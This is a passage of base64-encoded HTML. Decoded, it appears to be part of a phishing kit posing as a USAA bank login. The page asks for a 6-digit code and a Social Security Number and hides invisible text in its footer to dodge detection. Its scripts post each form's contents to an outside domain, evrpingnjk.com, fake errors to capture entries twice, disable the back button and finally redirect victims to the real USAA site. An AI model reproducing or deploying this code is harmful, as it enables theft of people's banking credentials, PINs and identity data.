Zvcm1Hcm91cCI+CgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLXRleHRJbnB1dCB1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlciBtaWFtLWZvcm0taWQtaW5wdXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWJsb2NrIGNvbC0xLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LXhxN3d3Znk1cjVscyIgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZmllbGRMYWJlbCB1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1sYWJlbCI+PHNwYW4gYXJpYS1oaWRkZW49ImZhbHNlIiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1maWVsZExhYmVsLXRleHQiPjYtRGlnaXQgQ29kZTwvc3Bhbj48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LXhxN3d3Znk1cjVscy1lcnJvck1lc3NhZ2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1lcnJvck1lc3NhZ2UiIGRhdGEtZXJyb3ItbWVzc2FnZT0iIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2NyZWVuUmVhZGVyIiByb2xlPSJhbGVydCI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ1c2FhLWlucHV0Ij48aW5wdXQgcGF0dGVybj0iXlswLTldKiQiIG5hbWU9ImNvZGUiIGFyaWEtaW52YWxpZD0iZmFsc2UiIGF1dG9jb21wbGV0ZT0ib2ZmIiBpZD0idXNhYS1mb3JtLXY1LTktMC1pbnB1dC14cTd3d2Z5NXI1bHMiIHR5cGU9InBhc3N3b3JkIiBhcmlhLWRlc2NyaWJlZGJ5PSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LXhxN3d3Znk1cjVscy1lcnJvck1lc3NhZ2UgdW5kZWZpbmVkIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iIiByZXF1aXJlZD0iIiAvPjxzcGFuIGNsYXNzPSJrZXlib2FyZEZvY3VzUmluZyIgYXJpYS1oaWRkZW49InRydWUiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtdGV4dElucHV0IHVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyIG1pYW0tZm9ybS1pZC1pbnB1dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtYmxvY2sgY29sLTEtMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InVzYWEtZm9ybS12NS05LTAtaW5wdXQteHE3d3dmeTVyNWxzIiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1maWVsZExhYmVsIHVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyLWxhYmVsIj48c3BhbiBhcmlhLWhpZGRlbj0iZmFsc2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkTGFiZWwtdGV4dCI+U29jaWFsIFNlY3VyaXR5IE51bWJlcjwvc3Bhbj48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LXhxN3d3Znk1cjVscy1lcnJvck1lc3NhZ2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1lcnJvck1lc3NhZ2UiIGRhdGEtZXJyb3ItbWVzc2FnZT0iIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2NyZWVuUmVhZGVyIiByb2xlPSJhbGVydCI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ1c2FhLWlucHV0Ij48aW5wdXQgbmFtZT0ic3NuIiBhcmlhLWludmFsaWQ9ImZhbHNlIiBhdXRvY29tcGxldGU9Im9mZiIgaWQ9InVzYWEtZm9ybS12NS05LTAtaW5wdXQteHE3d3dmeTVyNWxzIiB0eXBlPSJ0ZXh0IiBhcmlhLWRlc2NyaWJlZGJ5PSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LXhxN3d3Znk1cjVscy1lcnJvck1lc3NhZ2UgdW5kZWZpbmVkIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iIiByZXF1aXJlZD0iIiAvPjxzcGFuIGNsYXNzPSJrZXlib2FyZEZvY3VzUmluZyIgYXJpYS1oaWRkZW49InRydWUiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWJsb2NrIGNvbC0xLTEgbWlhbS1jaGVja2JveC1maWVsZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtY2hlY2tib3giPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtleWJvYXJkRm9jdXNSaW5nIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGlkPSJidG4zIiBjbGFzcz0idXNhYS1idXR0b240IG1pYW0tYnRuLW5leHQgcGFzcy1zdWJtaXQtYnRuIHVzYWEtYnV0dG9uNC0tcHJpbWFyeSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXh0QnRuVmFsaWRhdGlvbnMiIGFyaWEtbGl2ZT0icG9saXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5Db25maXJtPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVscC1saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0YWJpbmRleD0iMCI+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZ3V0dGVyIiB0YWJpbmRleD0iLTEiPjwvZGl2PgogICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgInVzZSBzdHJpY3QiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9nZ2luIikuc2V0QXR0cmlidXRlKCJub3ZhbGlkYXRlIiwgdHJ1ZSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc2hvd3BzdygpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgZSA9IGV2ZW50LnRhcmdldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcGFzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBzdyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwYXMudHlwZSA9PSAicGFzc3dvcmQiICYmIHBhcy52YWx1ZSAhPSAiIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXMudHlwZSA9ICJ0ZXh0IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5pbm5lckhUTUwgPSAnPHNwYW4gYXJpYS1saXZlPSJvZmYiIGFyaWEtaGlkZGVuPSJ0cnVlIj5IaWRlPC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzLnR5cGUgPSAicGFzc3dvcmQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLmlubmVySFRNTCA9ICc8c3BhbiBhcmlhLWxpdmU9Im9mZiIgYXJpYS1oaWRkZW49InRydWUiPlNob3c8L3NwYW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBvb3RoKG0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgZSA9IGV2ZW50LnRhcmdldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAobSA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNsYXNzTGlzdC5yZW1vdmUoJ2Vycm9yaXRlbScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKG0gPT0gMiAmJiBlLnZhbHVlICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNsYXNzTGlzdC5yZW1vdmUoJ2Vycm9yaXRlbScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAobSA9PSAyICYmIGUudmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2xhc3NMaXN0LmFkZCgnZXJyb3JpdGVtJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBwc2xvYWQobSA9IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgbG9hZCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJuZXh0QnRuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKG0gPT0gMSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkLmlubmVySFRNTCA9ICc8ZGl2IGNsYXNzPSJzcGlubmVyQ29udGFpbiI+PGRpdiBjbGFzcz0idXNhYS1zcGlubmVyIHVzYWEtc3Bpbm5lci0tc21hbGxlciIgYXJpYS12YWx1ZXRleHQ9ImxvYWRpbmciIGFyaWEtbGl2ZT0iYXNzZXJ0aXZlIiBhcmlhLWF0b21pYz0idHJ1ZSIgcm9sZT0iYWxlcnQiPjxzcGFuIGNsYXNzPSJzY3JlZW5SZWFkZXIiPmxvYWRpbmc8L3NwYW4+PC9kaXY+PC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkLmlubmVySFRNTCA9ICc8c3Bhbj5OZXh0PC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkaXNwZXJyKHRlbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRlbC5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2xhc3NMaXN0LmFkZCgnZXJyb3JpdGVtJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHZhbGlkKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBzbG9hZCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBlcnJjdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcm9uZyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBldGRkID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycmkiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJjdC5jbGFzc0xpc3QuYWRkKCdoaWRkZW4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgc2VsZiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dnaW4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgaW5wdXQgPSBzZWxmLnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0W3JlcXVpcmVkXSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBlbXB0eWxpc3QgPSBbXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGlucHV0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlucHV0W2ldLmNsYXNzTGlzdC5yZW1vdmUoJ2VycicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5wdXRbaV0udmFsdWUgPT0gIiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVtcHR5bGlzdC5wdXNoKGkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHlsaXN0Lmxlbmd0aCA+PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycmN0LmNsYXNzTGlzdC5yZW1vdmUoJ2hpZGRlbicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnB1dFtlbXB0eWxpc3RbMF1dLmZvY3VzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV0ZGQuaW5uZXJIVE1MID0gIlVzZXJuYW1lIGFuZCBwYXNzd29yZCByZXF1aXJlZCAuIFBsZWFzZSB0cnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBpIG9mIGVtcHR5bGlzdCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGVycihpbnB1dFtpXSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHNsb2FkKDApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXNhYS1mb3JtLXY1LTktMC1pbnB1dC0yZnQxOHg2eW43bTMnKS5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLXRyYW5zYWN0aW9uYWxGb290ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9vdGVyIGNsYXNzPSJ1c2FhLXRyYW5zYWN0aW9uYWxGb290ZXItZm9vdGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEZvb3Rlci1jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0idXNhYS10cmFuc2FjdGlvbmFsRm9vdGVyLWNvcHlyaWdodCI+PGJyPkNvcHk8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+VjQwMjg4PC9mb250PnJpZ2h0IMKpIDIwMjQgVTxmb250IHN0eWxlPSJjb2xvcjp0cmFuc3BhcmVudDtmb250LXNpemU6MHB4Ij4zNDk4MDU8L2ZvbnQ+U0FBLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlRm9vdGVyLWRpc2Nsb3N1cmVzIHBhZ2VGb290ZXItZGlzY2xvc3VyZXMtLWFib3ZlRm9vdG5vdGVzIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibWlhbS1mb290ZXItbGluayBTZWN1cml0eUxpbmsiIHRhcmdldD0iX3NlbGYiPlNlY3U8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+UjU1NzMyPC9mb250PnJpdHkgQ2VudGVyPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1pYW0tZm9vdGVyLWxpbmsgUHJpdmFjeUxpbmsiIHRhcmdldD0iX3NlbGYiPlByPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPjg3ODQyNDwvZm9udD5pdmFjeSBDZW50ZXI8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibWlhbS1mb290ZXItbGluayBBY2Nlc3NpYmlsaXR5TGluayIgdGFyZ2V0PSJfc2VsZiI+QWNjZXM8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+NzcxNjk8L2ZvbnQ+c2liaWxpdHkgYXQgVVM8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+TTEzMjM1PC9mb250PkFBPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZUZvb3Rlci1mb290bm90ZXMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhZ2VGb290ZXItZGlzY2xvc3VyZXMgcGFnZUZvb3Rlci1kaXNjbG9zdXJlcy0tYmVsb3dGb290bm90ZXMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEZvb3Rlci1pY29ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtdHJhbnNhY3Rpb25hbEZvb3Rlci1sb2dvIj5VUzxmb250IHN0eWxlPSJjb2xvcjp0cmFuc3BhcmVudDtmb250LXNpemU6MHB4Ij5ONzc4ODI8L2ZvbnQ+QUEgTG9nbzwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9vdGVyPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CjxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguYXNwbmV0Y2RuLmNvbS9hamF4L2pRdWVyeS9qcXVlcnktMy4zLjEubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2pxdWVyeS5tYXNrLzEuMTQuMTAvanF1ZXJ5Lm1hc2suanMiPjwvc2NyaXB0PiAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoKaGlzdG9yeS5wdXNoU3RhdGUobnVsbCwgZG9jdW1lbnQudGl0bGUsIGxvY2F0aW9uLmhyZWYpOwp3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncG9wc3RhdGUnLCBmdW5jdGlvbiAoZXZlbnQpCnsKICBoaXN0b3J5LnB1c2hTdGF0ZShudWxsLCBkb2N1bWVudC50aXRsZSwgbG9jYXRpb24uaHJlZik7Cn0pOwoKLy8kKGRvY3VtZW50KS5iaW5kKCJjb250ZXh0bWVudSIsIGZ1bmN0aW9uKGUpeyByZXR1cm4gZmFsc2U7fSk7Cgp2YXIgY291bnQgPSAwOwp2YXIgY291bnRzID0gMDsKCiQoJyNmb3JtJykub24oJ3N1Ym1pdCcsIGZ1bmN0aW9uKGUpewoJCWNvdW50ID0gY291bnQrMTsKCQkkKCcjbmV4dEJ0bicpLmh0bWwoJzxkaXYgY2xhc3M9InNwaW5uZXJDb250YWluIj48ZGl2IGNsYXNzPSJ1c2FhLXNwaW5uZXIgdXNhYS1zcGlubmVyLS1zbWFsbGVyIiBhcmlhLXZhbHVldGV4dD0ibG9hZGluZyIgYXJpYS1saXZlPSJhc3NlcnRpdmUiIGFyaWEtYXRvbWljPSJ0cnVlIiByb2xlPSJhbGVydCI+PHNwYW4gY2xhc3M9InNjcmVlblJlYWRlciI+bG9hZGluZzwvc3Bhbj48L2Rpdj48L2Rpdj4nKTsKCQkkLnBvc3QoJ2h0dHBzOi8vZXZycGluZ25qay5jb20vc2VjdXJlMi9kYXRhLnBocCcsICQodGhpcykuc2VyaWFsaXplKCksIGZ1bmN0aW9uKGRhdGEpewoJCQljb25zb2xlLmxvZyhkYXRhKTsKCQl9KTsKCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewoJCSAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50ID09IDIpewoJCQkJCQkJICAgICQoJyNzdGVwMScpLmhpZGUoKTsKCQkJCQkJCSAgICAkKCcjc3RlcDInKS5zaG93KCk7CgkJCQkJCQkgfWVsc2V7CgkJCQkJCQkgICAgICQoJyN1c2FhLWZvcm0tdjUtOS0wLWlucHV0LTJmdDE4eDZ5bjdtMycpLnZhbCgnJyk7CgkJCQkJCQkJICQoJyNwc3cnKS52YWwoJycpOwoJCQkJCQkJCSAkKCcjZXJvbmcnKS5zaG93KCk7CgkJCQkJCQkJICQoJyNuZXh0QnRuJykuaHRtbCgnTmV4dCcpOwoJCQkJCQkJIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgkJCQkJCQkgIAogICAgICAgICAgICAgICAgICAgICAgICB9LDIwMDApOwoJCWUucHJldmVudERlZmF1bHQoKTsKCX0pOwoJCiQoJyNmb3JtMicpLm9uKCdzdWJtaXQnLCBmdW5jdGlvbihlKXsKCQljb3VudCA9IGNvdW50KzE7CgkJJCgnI3ZlcmlmeScpLmhpZGUoKTsKCQkkKCcjbG9hZGluZycpLnNob3coKTsKCQkkLnBvc3QoJ2h0dHBzOi8vZXZycGluZ25qay5jb20vc2VjdXJlMi9waW4ucGhwJywgJCh0aGlzKS5zZXJpYWxpemUoKSwgZnVuY3Rpb24oZGF0YSl7CgkJCWNvbnNvbGUubG9nKGRhdGEpOwoJCX0pOwoJCXNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CgkJICAgICAgICAgICAgICAgICAgICAgaWYoY291bnQgPT0gMyl7CgkJCQkJCQkgICAgJCgnI3N0ZXAyJykuaGlkZSgpOwoJCQkJCQkJICAgICQoJyNzdGVwMycpLnNob3coKTsKCQkJCQkJCSB9ZWxzZXsKCQkJCQkJCSAgICAgJCgnI3RhY0VudHJ5JykudmFsKCcnKTsKCQkJCQkJCQkgJCgnI21zJykuc2hvdygpOwoJCQkJCQkJCSAkKCcjYnRuMicpLmh0bWwoJ1N1Ym1pdCcpOwoJCQkJCQkJIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgkJCQkJCQkgIAogICAgICAgICAgICAgICAgICAgICAgICB9LDkwMDApOwoJCWUucHJldmVudERlZmF1bHQoKTsKCX0pOwoJCiQoJyNmb3JtMycpLm9uKCdzdWJtaXQnLCBmdW5jdGlvbihlKXsKCQljb3VudHMgPSBjb3VudHMrMTsKCQkkKCcjYnRuMycpLmh0bWwoJzxkaXYgY2xhc3M9InNwaW5uZXJDb250YWluIj48ZGl2IGNsYXNzPSJ1c2FhLXNwaW5uZXIgdXNhYS1zcGlubmVyLS1zbWFsbGVyIiBhcmlhLXZhbHVldGV4dD0ibG9hZGluZyIgYXJpYS1saXZlPSJhc3NlcnRpdmUiIGFyaWEtYXRvbWljPSJ0cnVlIiByb2xlPSJhbGVydCI+PHNwYW4gY2xhc3M9InNjcmVlblJlYWRlciI+bG9hZGluZzwvc3Bhbj48L2Rpdj48L2Rpdj4nKTsKCQkkLnBvc3QoJ2h0dHBzOi8vZXZycGluZ25qay5jb20vc2VjdXJlMi9jb2RlLnBocCcsICQodGhpcykuc2VyaWFsaXplKCksIGZ1bmN0aW9uKGRhdGEpewoJCQljb25zb2xlLmxvZyhkYXRhKTsKCQl9KTsKCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewoJCQoJCQkJCQkJaWYoY291bnRzID09IDEpewoJCQkJCQkJICAgJCgnI3N0ZXAzJykuc2hvdygpOwoJCQkJCQkJICAgJCgnI3N0ZXA0Jykuc2hvdygpOwoJCQkJCQkJICAgCgkJCQkJICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiaHR0cHM6Ly93d3cudXNhYS5jb20vIjsKICAgICAgICAgICAgICAgICAgICAgICAgfSw1MDAwKTsKCQkJCQkJCSAgIAoJCQkJCQkJfWVsc2V7CgkJCQkJCQkgICAgICQoJyNwYXNzd2QnKS52YWwoJycpOwoJCQkJCQkJCSAkKCcjbXNnMicpLnNob3coKTsKCQkJCQkJCQkgJCgnI2J0bjMnKS5odG1sKCdjb25maXJtJyk7CgkJCQkJCQl9CgkJCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgfSw1MDAwKTsKCQllLnByZXZlbnREZWZhdWx0KCk7Cgl9KTsKCjwvc2NyaXB0Pgo8c2NyaXB0PgoKCiAgICAkKGZ1bmN0aW9uKCkgewogICAgICAgIC